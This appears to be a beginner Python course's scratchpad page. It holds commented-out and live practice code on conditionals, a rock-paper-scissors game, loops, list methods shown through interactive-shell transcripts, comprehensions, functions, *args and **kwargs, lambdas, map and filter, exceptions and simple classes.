Menu

Python Sunday

Python Sunday

Scratchpad #3

# num = 10
# print(f"This is some calculation: {num + 10}")


# print("Amount of USD you want to convert?")
# usd = input()
# inr = int(usd) * 75

# print(inr)

# print(f"You just typed this: {usd}")

# inr = int(usd) * 75

# print(f"${usd} is equal to Rs. {inr}")


# print("Enter your name: ")
# name = input()

# name = input("Enter your name: ")

# print(type(int(name)))


# print(<class 'int'>)

# name = "john doe"   # <-- assignment
# name == "john doe"  # <-- boolean value (comparison)

# name = "jack Doe"

# if name == "John Doe":
#     print("Hello John Doe")
# elif name == "Jane Doe":
#     print("Hello Jane")
# elif name == "Jack Doe":
#     print("Hello Jack")
# else:
#     print("I have no idea")


# if name == "Mark Zuckerberg":
#     print("Hello World")
#     print("Facebook")
# elif name == "Jack Dorsey":  # else if
#     print("Twitter")
# elif name == "Sundar Pichai":
#     print("Google")
# else:
#     print("Someone I don't know")


# print("\n\nI AM OUTSIDE OF THE CONDITIONALS")


# name = " "

# if name:
#     print("Hello friend")
# else:
#     print("Is anyone there...?")


# NESTED CONDITIONALS

# age = int(input("Please enter your age: "))

# if age >= 18:
#     print("You are allowed to enter but not drink")
# elif age >= 21:
#     print("You are allowed to drink")
# elif age >= 65:
#     print("Drinks are free")
# else:
#     print("You are not allowed!")


# if age >= 18:
#     if age >= 65:
#         print("Drinks are free")
#     elif age >= 21:
#         print("You are allowed to drink")
#     else:
#         print("You are allowed to enter but not drink")
# else:
#     print("You are not allowed!")


# age = int(input("Please enter your age: "))  # 38
# city = input("Please enter your city: ")  # delhi

# if (age >= 18 and age < 21) and city != "delhi":
#     print("You are allowed to enter but not drink")
# elif (age >= 21 and age < 65) and city != "delhi":
#     print("You are allowed to drink")
# elif age >= 65 and city != "delhi":
#     print("Drinks are free")
# else:
#     print("You are not allowed!")


# if city == "delhi":
#     print("You are not allowed!")
# elif age >= 18 and age < 21:
#     print("You are allowed to enter but not drink")
# elif age >= 21 and age < 65:
#     print("You are allowed to drink")
# elif age >= 65:
#     print("Drinks are free")
# else:
#     print("You are not allowed!")


# RPS

print("...rock...")
print("...paper...")
print("...scissors...")

player1 = input("enter Player 1's choice: ")  # rock
player2 = input("enter Player 2's choice: ")  # paper


# Original

if player1 == "rock" and player2 == "scissors":
    print("Player 1 wins")
elif player1 == "paper" and player2 == "rock":
    print("Player 1 wins")
elif player1 == "scissors" and player2 == "paper":
    print("Player 1 wins")
elif player2 == "rock" and player1 == "scissors":
    print("Player 2 wins")
elif player2 == "paper" and player1 == "rock":
    print("Player 2 wins")
elif player2 == "scissors" and player1 == "paper":
    print("Player 2 wins")
elif player1 == player2:
    print("It's a tie")
else:
    print("Something went wrong")


# Refactor #1

if (
    (player1 == "rock" and player2 == "scissors")
    or (player1 == "paper" and player2 == "rock")
    or (player1 == "scissors" and player2 == "paper")
):
    print("Player 1 wins")
elif (
    (player2 == "rock" and player1 == "scissors")
    or (player2 == "paper" and player1 == "rock")
    or (player2 == "scissors" and player1 == "paper")
):
    print("Player 2 wins")
elif player1 == player2:
    print("It's a tie")
else:
    print("Something went wrong")


# Refactor #2

if player1 == player2:
    print("It's a tie!")
elif player1 == "rock":
    if player2 == "scissors":
        print("player1 wins!")
    elif player2 == "paper":
        print("player2 wins!")
elif player1 == "paper":
    if player2 == "rock":
        print("player1 wins!")
    elif player2 == "scissors":
        print("player2 wins!")
elif player1 == "scissors":
    if player2 == "paper":
        print("player1 wins!")
    elif player2 == "rock":
        print("player2 wins!")
else:
    print("Something went wrong")
# age = 14

# if age > 20:
#     if age > 30:
#         print("You are allowed and welcome")
#     elif age > 25:
#         print("You are allowed")
# else:
#     print("Not allowed")


# c[0] = r

# name = "rstforum"

# for c in name:
#     print(c)


# nums = range(1, 10)  # (1,2,3,4,5,6,7,8,9)

# for x in nums:
#     print("----")
#     print(x ** 2)
#     print("----")


# character = 'r'

# for char in "rstforum":
#     print(char)


# products = "COLLECTION"

# for product in products:
#     print(product)


# for num in range(10, 20):
#     print(num)

# for num in range(20):
#     print(num)


# "hello"[1, 5, 2]

# for num in range(0, 21, 5):  # (0, 5, 10, 15, 20)
#     print(num)


# for num in range(10, -20, -5):  # (1)
#     print(num)

# range(start=0, end, step=1)
# range(0, 10, 2)


# for i in range(10):
#     # print(i)
#     print("Hello World")


# for num in range(1, 10, 2):
#     print(num)


# Loop through numbers 1-20 (inclusive)
# for even numbers, you print, "Fizz is even"
# for odd numbers, you print, "Fizz is odd"
# for 5 and 16, print, "FizzBuzz"


# for num in range(1,21):
#     # num == 1  -> "Fizz is odd"
#     # num == 2  -> "Fizz is even"


# # for n in range(1, 21):
# #     if n % 2 ==

# 1 "Fizz is odd"
# 2 "Fizz is even"
# 3 "Fizz is odd"
# 4 "Fizz is even"
# 5 "FizzBuzz"
# 6 "Fizz is even"
# 7 "Fizz is odd"


# # Loop through numbers 1-20 (inclusive)
# for num in range(1, 21):
#     if num == 5 or num == 16:  # for 5 and 16, print, "FizzBuzz"
#         print(num, "FizzBuzz")
#     elif num % 2 == 0:  # for even numbers, you print, "Fizz is even"
#         print(num, "Fizz is even")
#     else:  # for odd numbers, you print, "Fizz is odd"
#         print(num, "Fizz is odd")


# password = input("Please enter your password: ")
# # 'hello'

# while password != "[email protected]":
#     print("Incorrect password!")
#     password = input("Enter password again: ")


# print("Welcome")


# for num in range(10):
#     print(num)


# num = 0
# while num < 10:
#     print(num)
#     num += 1  # num = num + 1


name = "rstforum"

num = 0
while num < len(name):
    print(name[num])
    num += 1
# name = "John Doe"
# value = 2500
# paid = True

# # Data structures
# # collections of things

# # Lists
# tasks = "buy milk|pay electricity bill|complete labs"

# tasks = ["buy milk", "pay bill", "complete labs", 1000, True]

# product = ["iPhone", "Apple", 80000, 100]


# tasks = ["Install Python", "Install VSCode", "Setup Auto PEP8"]

# first_task = "Install Black"
# second_task = "Install VSCode Pylance extension"
# third_task = "Setup Python 3.9.1"

# tasks = [2021, first_task, second_task, third_task, "Install Windows Terminal"]


# print(tasks)
# print(type(tasks))


# print(len(tasks))


# nums_list = list(range(1, 51))

# print(nums_list)
# print(len(nums_list))


# tasks = [
#     "Install Python",
#     "Install VSCode",
#     "Setup Auto PEP8",
#     "Install Black",
#     "Install VSCode Pylance extension",
# ]

# for task in tasks:
#     print(f"Task is - {task.upper()}")


# i = 0
# while i < len(tasks):
#     print(f"Task {i + 1} - {tasks[i]}\n")
#     i += 1


# nums = list(range(1, 10))  # [1,2,3,4,5,6,7,8,9]

# for num in nums:
#     print(num ** 2)


# >>>
# >>>
# >>> name = "john"
# >>>
# >>>
# >>> len(name)
# 4
# >>>
# >>> name.upper()
# 'JOHN'
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> tasks = ["Install Python", "Install VSCode", "Setup Auto PEP8"]
# >>>
# >>>
# >>> tasks
# ['Install Python', 'Install VSCode', 'Setup Auto PEP8']
# >>>
# >>>
# >>> tasks.append("Install Windows Terminal")
# >>>
# >>>
# >>> tasks
# ['Install Python', 'Install VSCode', 'Setup Auto PEP8', 'Install Windows Terminal']
# >>>
# >>>
# >>> name.upper()
# 'JOHN'
# >>>
# >>>
# >>>
# >>> random_numbers = [1, 4, 34, 21, 86]
# >>>
# >>>
# >>> randon_numbers
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# NameError: name 'randon_numbers' is not defined
# >>>
# >>> random_numbers
# [1, 4, 34, 21, 86]
# >>>
# >>>
# >>> random_numbers.append(100)
# >>>
# >>> random_numbers
# [1, 4, 34, 21, 86, 100]
# >>>
# >>> random_numbers.append(100)
# >>>
# >>> random_numbers.append(10)
# >>>
# >>> random_numbers
# [1, 4, 34, 21, 86, 100, 100, 10]
# >>>
# >>>
# >>> random_numbers
# [1, 4, 34, 21, 86, 100, 100, 10]
# >>>
# >>> random_numbers.append(100, 50, 40)
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: list.append() takes exactly one argument (3 given)
# >>>
# >>>
# >>>
# >>> random_numbers.append(True)
# >>>
# >>> random_numbers
# [1, 4, 34, 21, 86, 100, 100, 10, True]
# >>> random_numbers.append("John Doe")
# >>>
# >>>
# >>> random_numbers
# [1, 4, 34, 21, 86, 100, 100, 10, True, 'John Doe']
# >>>
# >>> random_numbers.append(100 ** 3)
# >>>
# >>> random_numbers
# [1, 4, 34, 21, 86, 100, 100, 10, True, 'John Doe', 1000000]

# >>> nums = list(range(5))
# >>>
# >>>
# >>> nums
# [0, 1, 2, 3, 4]
# >>>
# >>>
# >>> nums.append([5,6,7,8])
# >>>
# >>> nums
# [0, 1, 2, 3, 4, [5, 6, 7, 8]]
# >>>
# >>>
# >>> len(nums)
# 6
# >>>
# >>> nums[-1]
# [5, 6, 7, 8]
# >>>
# >>> nums = list(range(5))
# >>>
# >>>
# >>>
# >>> nums
# [0, 1, 2, 3, 4]
# >>>
# >>>
# >>> nums.extend([5,6,7,8,9,10])
# >>>
# >>> nums
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
# >>>
# >>> len(nums)
# 11
# >>>
# >>>
# >>>
# >>> nums.extend([100, True, False, "john doe"])
# >>>
# >>> nums
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 100, True, False, 'john doe']
# >>>
# >>> nums.extend(list(range(100,110)))
# >>>
# >>> nums
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 100, True, False, 'john doe', 100, 101, 102, 103, 104, 105, 106, 107, 108, 109]
# >>>
# >>>
# >>>

# >>> nums.insert(0, "Hello World")
# >>>
# >>> nums
# ['Hello World', 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 100, True, False, 'john doe', 100, 101, 102, 103, 104, 105, 106, 107, 108, 109]
# >>>
# >>>
# >>>
# >>> nums.insert(3, 1.111112)
# >>>
# >>> nums
# ['Hello World', 0, 1, 1.111112, 2, 3, 4, 5, 6, 7, 8, 9, 10, 100, True, False, 'john doe', 100, 101, 102, 103, 104, 105, 106, 107, 108, 109]
# >>>
# >>>
# >>> nums.insert(-1, "ENDING")
# >>>
# >>> nums
# ['Hello World', 0, 1, 1.111112, 2, 3, 4, 5, 6, 7, 8, 9, 10, 100, True, False, 'john doe', 100, 101, 102, 103, 104, 105, 106, 107, 108, 'ENDING', 109]
# >>>
# >>>
# >>>
# >>> nums
# ['Hello World', 0, 1, 1.111112, 2, 3, 4, 5, 6, 7, 8, 9, 10, 100, True, False, 'john doe', 100, 101, 102, 103, 104, 105, 106, 107, 108, 'ENDING', 109]
# >>>
# >>>
# >>>
# >>> nums.clear()
# >>>
# >>> nums
# []
# >>>
# >>> bool(nums)
# False

# >>> tasks = ["Install Python", "Install VSCode", "Setup Auto PEP8"]
# >>>
# >>>
# >>> tasks
# ['Install Python', 'Install VSCode', 'Setup Auto PEP8']
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> tasks.pop()
# 'Setup Auto PEP8'
# >>>
# >>> tasks
# ['Install Python', 'Install VSCode']
# >>>
# >>>
# >>>
# >>> deleted_item = tasks.pop()
# >>>
# >>> delete_item
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# NameError: name 'delete_item' is not defined
# >>>
# >>> deleted_item
# 'Install VSCode'
# >>>
# >>> tasks
# ['Install Python']
# >>>
# >>>
# >>>
# >>> tasks = ["Install Python", "Install VSCode", "Setup Auto PEP8"]
# >>>
# >>>
# >>>
# >>> tasks
# ['Install Python', 'Install VSCode', 'Setup Auto PEP8']
# >>>
# >>>
# >>> tasks(1)
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: 'list' object is not callable
# >>>
# >>> tasks.pop(1)
# 'Install VSCode'
# >>>
# >>>
# >>> tasks
# ['Install Python', 'Setup Auto PEP8']
# >>> tasks.pop(0)
# 'Install Python'
# >>>
# >>>
# >>> tasks
# ['Setup Auto PEP8']
# >>>
# >>> tasks = ["Install Python", "Install VSCode", "Setup Auto PEP8"]
# >>>
# >>>
# >>> tasks
# ['Install Python', 'Install VSCode', 'Setup Auto PEP8']
# >>>
# >>>
# >>> task.remove("Install Python")
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# NameError: name 'task' is not defined
# >>>
# >>>
# >>> tasks.remove("Install Python")
# >>>
# >>> tasks
# ['Install VSCode', 'Setup Auto PEP8']
# >>>
# >>> tasks.remove("Install Python")
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# ValueError: list.remove(x): x not in list
# >>>
# >>> tasks.remove()
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: list.remove() takes exactly one argument (0 given)
# >>>
# >>> tasks
# ['Install VSCode', 'Setup Auto PEP8']
# >>>
# >>> tasks.remove("Setup Auto POP8")
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# ValueError: list.remove(x): x not in list
# >>>
# >>> tasks.remove("Setup Auto PEP8")
# >>>
# >>> tasks
# ['Install VSCode']


# >>> tasks = [
# ...     "Install Python",
# ...     "Install VSCode",
# ...     "Setup Auto PEP8",
# ...     "Install Black",
# ...     "Install VSCode Pylance extension",
# ... ]
# >>>
# >>>
# >>>
# >>>
# >>> tasks = [
# ...     "Test 1",
# ...     "Install Python",
# ...     "Install VSCode",
# ...     "Test 1",
# ...     "Install Black",
# ...     "Setup Auto PEP8",
# ...     "Install Black",
# ...     "Install VSCode Pylance extension",
# ...     "Practice Lab",
# ...     "Test 1"
# ...     "Install VSCode",
# ...     "Install Black",
# ...     "Install VSCode Pylance extension",
# ... ]
# >>>
# >>>
# >>>
# >>> tasks
# ['Test 1', 'Install Python', 'Install VSCode', 'Test 1', 'Install Black', 'Setup Auto PEP8', 'Install Black', 'Install VSCode Pylance extension', 'Practice Lab', 'Test 1Install VSCode', 'Install Black', 'Install VSCode Pylance extension']
# >>>
# >>> len(tasks)
# 12
# >>>
# >>>
# >>> tasks.index("Test 1")
# 0
# >>>
# >>> tasks.index("Install Black")
# 4
# >>>
# >>> tasks
# ['Test 1', 'Install Python', 'Install VSCode', 'Test 1', 'Install Black', 'Setup Auto PEP8', 'Install Black', 'Install VSCode Pylance extension', 'Practice Lab', 'Test 1Install VSCode', 'Install Black', 'Install VSCode Pylance extension']
# >>>
# >>>
# >>> tasks.index("Test 1")
# 0
# >>>
# >>>
# >>> tasks.index("Test 1", 2)
# 3
# >>> tasks.index("Test 1", 2, 8)
# 3
# >>> tasks.index("Install Black", 2, 8)
# 4
# >>>
# >>> tasks.index("Install Black", 5, 8)
# 6
# >>> tasks.index("Install Black", 7, 10)
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# ValueError: 'Install Black' is not in list
# >>>
# >>>
# >>>
# >>> tasks
# ['Test 1', 'Install Python', 'Install VSCode', 'Test 1', 'Install Black', 'Setup Auto PEP8', 'Install Black', 'Install VSCode Pylance extension', 'Practice Lab', 'Test 1Install VSCode', 'Install Black', 'Install VSCode Pylance extension']
# >>>
# >>>
# >>>
# >>> tasks.count("Test 1")
# 2
# >>>
# >>> tasks.count("Install Black")
# 3
# >>>
# >>> tasks.count("Install Bla")
# 0
# >>>
# >>> tasks.count("Install Python")
# 1
# >>>
# >>> \
# ...
# >>>
# >>>
# >>>
# >>>
# >>> tasks
# ['Test 1', 'Install Python', 'Install VSCode', 'Test 1', 'Install Black', 'Setup Auto PEP8', 'Install Black', 'Install VSCode Pylance extension', 'Practice Lab', 'Test 1Install VSCode', 'Install Black', 'Install VSCode Pylance extension']
# >>>
# >>> tasks.reverse()
# >>>
# >>> tasks
# ['Install VSCode Pylance extension', 'Install Black', 'Test 1Install VSCode', 'Practice Lab', 'Install VSCode Pylance extension', 'Install Black', 'Setup Auto PEP8', 'Install Black', 'Test 1', 'Install VSCode', 'Install Python', 'Test 1']
# >>>
# >>>
# >>>
# >>> nums = list(range(10))
# >>>
# >>> nums
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
# >>>
# >>> nums.reverse()
# >>> nums
# [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> nums
# [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
# >>>
# >>>
# >>> nums.sort()
# >>>
# >>> nums
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
# >>>
# >>> tasks
# ['Install VSCode Pylance extension', 'Install Black', 'Test 1Install VSCode', 'Practice Lab', 'Install VSCode Pylance extension', 'Install Black', 'Setup Auto PEP8', 'Install Black', 'Test 1', 'Install VSCode', 'Install Python', 'Test 1']
# >>>
# >>>
# >>>
# >>> names = ['john', 'mohsin', 'suyog', 'deepak', 'yashika', 'sandeep', 'umesh', 'akshay']
# >>>
# >>> names
# ['john', 'mohsin', 'suyog', 'deepak', 'yashika', 'sandeep', 'umesh', 'akshay']
# >>>
# >>> names.sort()
# >>>
# >>> names
# ['akshay', 'deepak', 'john', 'mohsin', 'sandeep', 'suyog', 'umesh', 'yashika']
# >>>
# >>> l = [True, False, 123, "john"]
# >>>
# >>> l.sort()
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: '<' not supported between instances of 'str' and 'bool'
# >>>
# >>>
# >>>
# >>>
# >>> nums
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
# >>>
# >>>
# >>> nums.reverse()
# >>>
# >>> nums
# [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
# >>>
# >>>
# >>>
# >>>
# >>> "-".join("john")
# 'j-o-h-n'
# >>>
# >>> "-".join([1,2,3,4])
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: sequence item 0: expected str instance, int found
# >>>
# >>> "-".join(nums)
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: sequence item 0: expected str instance, int found
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> "".join(nums)
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: sequence item 0: expected str instance, int found
# >>>
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> "".join()
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: str.join() takes exactly one argument (0 given)
# >>> "".join(nums)
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: sequence item 0: expected str instance, int found
# >>>
# >>>
# >>>
# >>>
# >>> "".join(tasks)
# 'Install VSCode Pylance extensionInstall BlackTest 1Install VSCodePractice LabInstall VSCode Pylance extensionInstall BlackSetup Auto PEP8Install BlackTest 1Install VSCodeInstall PythonTest 1'
# >>>
# >>>
# >>>
# >>>
# >>> nums
# [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
# >>>
# >>>
# >>>
# >>> "".join(["john", "jack", "jane"])
# 'johnjackjane'
# >>>
# >>> "____".join(["john", "jack", "jane"])
# 'john____jack____jane'
# >>>
# >>>
# >>>
# >>> "" + 12
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: can only concatenate str (not "int") to str
# >>>
# >>>
# >>> "____".join(["john", "jack", "jane"])
# 'john____jack____jane'
# >>>
# >>> tasks
# ['Install VSCode Pylance extension', 'Install Black', 'Test 1Install VSCode', 'Practice Lab', 'Install VSCode Pylance extension', 'Install Black', 'Setup Auto PEP8', 'Install Black', 'Test 1', 'Install VSCode', 'Install Python', 'Test 1']
# >>>
# >>>
# >>>
# >>> "____".join(tasks)
# 'Install VSCode Pylance extension____Install Black____Test 1Install VSCode____Practice Lab____Install VSCode Pylance extension____Install Black____Setup Auto PEP8____Install Black____Test 1____Install VSCode____Install Python____Test 1'
# >>>
# >>> tasks
# ['Install VSCode Pylance extension', 'Install Black', 'Test 1Install VSCode', 'Practice Lab', 'Install VSCode Pylance extension', 'Install Black', 'Setup Auto PEP8', 'Install Black', 'Test 1', 'Install VSCode', 'Install Python', 'Test 1']
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> nums
# [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
# >>>
# >>>
# >>>
# >>> nums.sort()
# >>>
# >>>
# >>> nums
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
# >>>
# >>>
# >>>
# >>>
# >>> nums[1]
# 1
# >>>
# >>> nums[1:]
# [1, 2, 3, 4, 5, 6, 7, 8, 9]
# >>>
# >>> nums[5:]
# [5, 6, 7, 8, 9]
# >>>
# >>> nums
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
# >>>
# >>>
# >>> nums[5:8]
# [5, 6, 7]
# >>>
# >>> nums[:8]
# [0, 1, 2, 3, 4, 5, 6, 7]
# >>>
# >>> nums[:]
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
# >>>
# >>> nums_copy = nums[:]
# >>>
# >>>
# >>> nums_copy
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
# >>>
# >>>
# >>>
# >>> nums
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
# >>>
# >>>
# >>> nums[6:-1]
# [6, 7, 8]
# >>>
# >>>
# >>> nums[0:-1]
# [0, 1, 2, 3, 4, 5, 6, 7, 8]
# >>>
# >>> nums[:]
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
# >>>
# >>> nums[::2]
# [0, 2, 4, 6, 8]
# >>>
# >>> nums[::3]
# [0, 3, 6, 9]
# >>>
# >>>
# >>>
# >>> nums[::-1]
# [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
# >>>
# >>> nums
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]


# tasks = [
#     "Test 1",
#     "Install Python",
#     "Install VSCode",
#     "Test 1",
#     "Install Black",
#     "Setup Auto PEP8",
#     "Install Black",
#     "Install VSCode Pylance extension",
#     "Practice Lab",
#     "Test 1"
#     "Install VSCode",
#     "Install Black",
#     "Install VSCode Pylance extension",
# ]
# names = ["john", "jane", "jack", "james"]

# # upper_names = []

# # # for name in names:
# # #     print(name.upper())

# # for name in names:
# #     upper_names.append(name.upper())

# # print(names)
# # print(upper_names)


# upper_names = [name.upper() for name in names]

# print(upper_names)


# nums = range(1, 21)

# evens = [num for num in nums if num % 2 == 0]
# odds = [num for num in nums if num % 2 != 0]

# new = [num * 2 if num % 2 == 0 else num / 2 for num in nums]

# print(evens)
# print(odds)
# print(new)


# message = "Hello Python!"

# "".join([char for char in message if char not in "aeiou"])


# nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]


# for lst in nested_list:
#     for item in lst:
#         print(item)


product = {
    "name": "AMD Ryzen Threadripper 3990X",
    "no_of_cores": 64,
    "no_of_threads": 128,
    "unlocked": True,
    "memory_type": "DDR4",
    "price": 333999.00,
    1: True,
}


# product = ["AMD Ryzen Threadripper 3990X", 64, 128, True]
# def say_hello():
#     print("Hello World!")
#     print("Hello World!")
#     print("Hello World!")


# # print(say_hello)

# say_hello()
# say_hello()


# def say_hello():
#     return "Hello World!"


def say_hello():
    print("Hello World!")
    # return "Hello World!"


# def give_a_num():
#     num = 10 * 3
#     return num
#     print("I am done")


# # result = "Hello World!"

# print(result)

# print(say_hello())


# print(give_a_num() + 10)

# print("Calling say_hello returns: ", say_hello())


# print(type(give_a_num()))
# print(type(say_hello()))

# print(give_a_num())


def say_hello():
    return "hello world, from say_hello"


def print_hello():
    print(say_hello())


def exec():
    print_hello()


exec()
# def say_hello():
#     print("TEST")


# print(say_hello())


# from random import random


# def flip_coin():
#     r = random()
#     if r > 0.5:
#         return "Heads"
#     else:
#         return "Tails"


# print(flip_coin())


# def add(num1, num2):
#     return num1 + num2


# def multiply(a, b, c, d, e):
#     return a * b * c * d * e


# print(add(100, 50))
# print(multiply(10, 2, 3, 4, 65))


# def say(name, message):
#     return f"{name} says, {message}"


# print(say("John", "Hello World!"))
# print(say("Jane", "Hello World!"))
# print(say("Jack", "Hello World!"))
# print("Finished")


# def sum_odd_numbers(numbers):
#     total = 0
#     for num in numbers:
#         if num % 2 != 0:
#             total += num
#     return total


# print(sum_odd_numbers([1, 2, 3, 4, 5, 6, 7, 8]))


# def is_odd_number(number):
#     if number % 2 != 0:
#         return True
#     return False


# print(is_odd_number(5))
# print(is_odd_number(2))


# def exponent(num=2, power=1):
#     return num ** power


# # print(exponent())
# # print(exponent(3, 4))
# # print(exponent(7))


# def say(name, message="Hello"):
#     return f"{name} says, {message}"


# print(say("John"))
# print(say("John", exponent(10, 4)))


# def add(a, b):
#     return a + b


# def subtract(a, b):
#     return a - b


# def divide(a, b):
#     return a / b


# print(add, subtract)


# def math(a, b, fn):
#     return fn(a, b)


# print(math(10, 2, add))
# print(math(10, 2, subtract))
# print(math(10, 2, divide))


# def print_name(first_name="john", last_name="doe"):
#     print(f"My first name is {first_name} and my last name is {last_name}")


# # print_name("John", "Doe")
# # print_name("Doe", "John")

# # print_name(last_name="Doe", first_name="John")

# print_name(last_name="Ma")
def names(*names):
    for name in names:
        print(name)


# # names("John", "Jack")
# names("John", "Jack", "James", "Jane", "Jayesh")


def sum_nums(*nums):
    total = 0
    for num in nums:
        total += num
    return total


# print(sum_nums(10, 20, 4, 3, 6, 4, 7, 6, 12, 98))
# print(sum_nums())


def sum_all_nums(name, main_num, *nums):
    total = 0
    for num in nums:
        total += num
    return f"Hello {name}:{main_num}, the result is {total}."


# print(sum_all_nums("John", 4, 56, 6, 4, 332, 223, 4))


def user_details(message, **info):
    print(info)
    print(f"{message}\n")
    for k, v in info.items():
        print(f"{k} --- {v}")


# user_details(
#     "Here are the details:", name="John", age=25, job="Python Programmer", status=False
# )


def show_info(a, b, *args, job="Programmer", **kwargs):
    print(a, b, args, job, kwargs)


# show_info(
#     "John",
#     "Doe",
#     3,
#     45,
#     6,
#     True,
#     False,
#     job="Python Developer",
#     age=25,
#     city="Kajupada",
# )


# def show_info(a, b, *args, role="moderator", **kwargs):
#     return [a, b, args, role, kwargs]


# print(show_info(1, 2, 3, first_name="John", last_name="Doe"))


def add_all_values(*args):
    total = 0
    for num in args:
        total += num
    print(total)


# add_all_values(102, 45, 323, 2, 23, 45, 56)


# nums = [1, 2, 3, 4, 5, 6, 7, 8]

# add_all_values(nums[0], nums[1], nums[2])
# add_all_values(*nums)

# add_all_values(1, 2, 3, 4, 5, 6, 7, 8)


def say_name(first, last):
    print(f"My name is {first} {last}.")


# say_name(first="John", last="Doe")

# name = {"first": "Robert", "last": "Moore"}

# say_name(**name)


# def hello(name):
#     return name


# print(hello("John"))


# def square(num):
#     return num * num


# square = lambda num: num * num


# print(square(10))


def math(a, b, fn):
    return fn(a, b)


# def add(a, b):
#     return a + b


# print(math(10, 5, add))

# print(math(10, 20, lambda x, y: x + y))
# print(math(10, 20, lambda x, y: x - y))


# say_name = lambda name: name.upper()

# def say_name(name):
#     return name.upper()

# print(say_name("john doe"))


# nums = [1,2, 3, 4, 5, 6, 7, 8]

# squared_vals = map(lambda x: x ** 2, nums)
# print(tuple(squared_vals))

# squared_vals = [val ** 2 for val in nums]
# print(squared_vals)

# squared_vals = []
# for val in nums:
#     squared_vals.append(val ** 2)

# print(squared_vals)


# nums = [1, 2, 3, 4, 5, 6, 7, 8]

# squared_vals = map(lambda x: x ** 2, nums)
# # print(squared_vals)


# for num in squared_vals:
#     print(f"The result is {num}")


# names = ["john", "james", "jim", "jack", "jane", "jill"]

# uppercased_names = list(map(lambda name: name.upper(), names))

# print(uppercased_names)


# nums = [1, 2, 3, 4, 5, 6, 7, 8]

# result = list(filter(lambda x: x % 2 == 0, nums))

# print(result)


# names = ["john", "james", "jim", "jack", "jane", "jill"]

# print(list(filter(lambda name: len(name) <= 4, names)))


names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]

filter_names = filter(lambda name: len(name) < 5, names)

res = map(
    lambda name: f"The one who wins is {name}",
    filter_names,
)

for name in res:
    print(name)
def colorize(text, color):
    """Function that prints text in color"""
    colors = ("red", "yellow", "blue", "green", "purple")

    if type(text) is not str:
        raise TypeError("Text must be a string")
    if type(color) is not str:
        raise TypeError("Color must be a string")
    if color not in colors:
        raise ValueError("Color is invalid")


#     print(f"Printed {text} in {color}")


# colorize("hello world", "blue")
# colorize("Goodbye World!", "orange")
# colorize(100, "yellow")


# try:
#     # 100 / 0
#     colorize(100, "yellow")
# except (ZeroDivisionError, ValueError):
#     print("Some error happened")

# try:
#     # 100 / 0
#     colorize(100, "yellow")
# except Exception as error:
#     print("Some error happened -> ", error)

# print("This code happens after the try/except")


# try:
#     num = int(input("Please enter a number: "))
# except:
#     print("Please enter digits")
# else:
#     print("Text from the else block", num)
# finally:
#     print("This will always run")


# import random as r

# print(r.random())
# print(r.randint(0, 50))

# my_list = [1, 2, 3, 4, 5]
# r.shuffle(my_list)
# print(my_list)


from random import random as r, randint as ri

# from random import *

print(r())
print(ri(0, 30))
# print(choice([1, 2, 4, 5, 6]))
# class User:
#     def __init__(self, first, last, age):
#         self.first_name = first
#         self.last_name = last
#         self.age = age
#         self.country = "India"
#         self.active = False


# john = User("John", "Doe", 25)  # User Object/Instance
# jane = User("Jane", "Doe", 30)


# print(john.first_name, john.last_name, john.age, john.country, john.active)
# print(jane.first_name, jane.last_name, jane.age, jane.country)


# john.first_name = "JOHN"
# john.age = john.age + 1
# john.active = True

# print(john.first_name, john.last_name, john.age, john.country, john.active)


# def user(first_name, last_name, age):
#     data = {"first_name": first_name, "last_name": last_name, "age": age}
#     return data


# john = user("john", "doe", 25)
# jane = user("jane", "doe", 30)

# print(john["first_name"], john["last_name"], john["age"])

# john["first_name"] = "JOHN"

# print(john["first_name"], john["last_name"], john["age"])


# class BankAccount:
#     def __init__(self, first, last, age, balance=0):
#         self.first_name = first
#         self.last_name = last
#         self.age = age
#         self.__balance = balance


# john = BankAccount("John", "Doe", 25)
# jane = BankAccount("Jane", "Doe", 30, 5000)


# print(john.first_name, john._BankAccount__balance)
# print(jane.first_name, jane._BankAccount__balance)

